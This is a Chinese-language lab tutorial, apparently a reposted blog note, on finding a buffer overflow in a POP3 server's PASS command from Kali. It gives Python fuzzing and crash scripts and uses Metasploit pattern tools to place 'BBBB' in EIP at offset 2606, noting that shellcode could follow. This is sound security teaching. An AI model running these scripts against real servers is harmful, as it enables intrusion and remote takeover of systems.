Kali学习笔记21：缓冲区溢出实验（漏洞发现）

上一篇文章，我已经做好了缓冲区溢出实验的准备工作：

https://www.cnblogs.com/xuyiqing/p/9835561.html

下面就是Kali虚拟机对缓冲区溢出的测试：

已经知道目标IP为：192.168.163.130

连接目标机器110端口成功，接下来进行测试

事先已经知道PASS命令存在缓冲区溢出漏洞：

只要在PASS后边输入的数据达到某一个值时，就会出现缓冲区溢出漏洞

但是，手动尝试这个值实在有点低端，写一个Python脚本：

先写一个基本的脚本来测试：

#!/usr/bin/python
import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer..."s.connect(('192.168.163.130', 110))data = s.recv(1024)print datas.send('USER test' + '\r\n')data = s.recv(1024)print datas.send('PASS test\r\n')data = s.recv(1024)print datas.close()print '\nDone'except:print 'Can not connect to POP3'

使用脚本：

如果脚本是从windows移过来的：

vi xxx.py

:set fileformat=unix

:wq

chmod u+x xxx.py

./xxx.py

测试：OK

完善脚本：

#!/usr/bin/python
import socketbuffer = ["A"]
counter = 100while len(buffer) <= 30:buffer.append("A" * counter)counter += 200for string in buffer:print "FUZZING PASS WITH %s BYTES" % len(string)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect(('192.168.163.130', 110))s.recv(1024)s.send('USER test' + '\r\n')s.recv(1024)s.send('PASS ' + string + '\r\n')s.send('QUIT\r\n')s.close()

测试:OK

我们发送这么多的数据来测试，那么问题来了，要怎么判断目标机器到底有没有缓冲区溢出?

这时候就需要上一篇提到的ImmunityDebugger了：

先得到进程的PID：

记住这个PID，打开ImmunityDebugger，file菜单选择attach

然后找到刚才的PID选择即可：

默认的暂停状态，点击开始按钮来继续：

打开Kali虚拟机开始发送：

果然，发送到2900的时候停下来了：

我们看看windows机器：

观察寄存器：

注意这里的寄存器显示：41414141，根据Ascii码表，得出是AAAA

这里重点注意EIP：系统下一步要执行指令的内存地址

而这里下一条指令全部都是A，没有正确的执行代码，所以现在程序已经崩溃了

再看看下边的内存信息：全部都是A

我们可以把脚本的A改成其他字符继续测试，发现都是到3000左右程序崩溃

到这里我们想到：是否可以通过这个漏洞来做一些事情？

OK，我们可以通过脚本测试得到确切的溢出值，然后修改EIP寄存器存放下一条指令的地址

可以添加一些后门程序，如果是Shellcode就可以进一步控制目标机器

下一个目标：找出精确的溢出到EIP寄存器的字节，进而可以修改程序运行轨迹

我们进一步来写一个脚本：

#!/usr/bin/python
import socketbuffer = 'A' * 2700s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))data1 = s.recv(1024)s.send('USER test' + '\r\n')data2 = s.recv(1024)s.send('PASS ' + buffer + '\r\n')s.close()print '\nDone'
except:print 'Can not connect to POP3'

发送过去程序崩溃了，说明2700大了，那么需要调小一些，

改成2600试试：发现程序崩溃了，但是EIP并不是A，所以想要利用需要比2600大

到这里就知道了，最终数据应该是2600-2700之间

不过，具体该怎么精确地跳转呢？

二分法：不必多说

唯一字符串法：生成2700个字符，每四个一组，每一组字符串唯一，发送唯一字符串，精确定位

唯一字符串脚本比较复杂，但不需要自己写，Kali虚拟机里面就有：metasploit-framework一个ruby脚本

使用方式： ./pattern_create.rb -l 2700

我们使用这2700个字符地唯一字符串来修改上边地脚本，把“A”*2700换成这个字符串

查看寄存器：

发现唯一字符串对应地址（16进制）是：39 69 44 38

由于内存地址，读取要倒过来：38 44 69 39

对应字符是：8 D i 9

那么怎样知道对应第几位呢？

metasploit-framework一个ruby脚本可以解决：

使用：

或者这样：

得出是在第2606个位置

既然得到了是在第2606个位置：

就可以继续修改这个脚本了：测试能否恰好是BBBB

#!/usr/bin/python
import socketbuffer = 'A' * 2606 + 'B' * 4 + 'C' * 20s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))data1 = s.recv(1024)s.send('USER test' + '\r\n')data2 = s.recv(1024)s.send('PASS ' + buffer + '\r\n')s.close()print '\nDone'
except:print 'Can not connect to POP3'

果然：

查看42对应的就是B

那么

假设，在ESP中，不是20个C，而是Shellcode或者是恶意代码（反向连接等等）

就可以实现远程控制的目的

具体如何精确修改而实现对目标机器的控制呢？

下一篇随笔具体介绍

转载于:https://www.cnblogs.com/xuyiqing/p/9849072.html

Kali学习笔记21：缓冲区溢出实验（漏洞发现）相关推荐

计算机系统基础学习笔记(7)-缓冲区溢出攻击实验
缓冲区溢出攻击实验实验介绍实验任务实验数据目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数目标程序bufbomb中函数之间的调用关系缓冲区溢出理解目标程序调用的ge ...
【安全牛学习笔记】缓冲区溢出
数据与代码边界不清,导致程序执行代码脚本: #! /bin/bash echo $1 在终端中运行脚本,参数写:或|加上命令,会被系统执行源码审计逆向工程对编译后的文件反汇编模糊测试安装 ...
Kali学习笔记31：目录遍历漏洞、文件包含漏洞
文章的格式也许不是很好看,也没有什么合理的顺序完全是想到什么写一些什么,但各个方面都涵盖到了能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...
使用Linux进行缓冲区溢出实验的配置记录
在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...
区块链学习笔记21——ETH智能合约
区块链学习笔记21--ETH智能合约学习视频:北京大学肖臻老师<区块链技术与应用> 笔记参考:北京大学肖臻老师<区块链技术与应用>公开课系列笔记--目录导航页智能合约简介 ...
java 检查bytebuf长度_Java学习笔记16-Netty缓冲区ByteBuf详解
Java学习笔记16-Netty缓冲区ByteBuf详解 Netty自己的ByteBuf ByteBuf是为解决ByteBuffer的问题和满足网络应用程序开发人员的日常需求而设计的. JDK Byt ...
c51单片机学习笔记-LED流水灯实验
目的:实现 LED 流水灯,只需循环让 D1-D8 指示灯逐个点亮. 方法:点亮 D1 且把 D2-D8 熄灭,延时一段时间后再点亮 D2 且把 D1. D3-D8 熄灭,延时一段时间后再点亮 D3 ...
汇编学习笔记：对抗反汇编实验2019092801
汇编学习笔记:对抗反汇编实验2019092801 实验描述实验环境实验过程实验结论实验描述使用相连的jz和jnz指令跳转到紧接着jnz指令的call指令的第二个字节.call指令实际上无效. ...
nrf52832 学习笔记（九）蓝牙主机发现服务
nrf52832 学习笔记(九)蓝牙主机发现服务服务发现流程数据如同下表一样存储在服务端,客户端首先要获取表中的Handle和Type列,从而知道服务端中存在哪些数据,以便后面读.写.通知等操作. ...

Kali学习笔记21：缓冲区溢出实验（漏洞发现）

Kali学习笔记21：缓冲区溢出实验（漏洞发现）相关推荐

最新文章

热门文章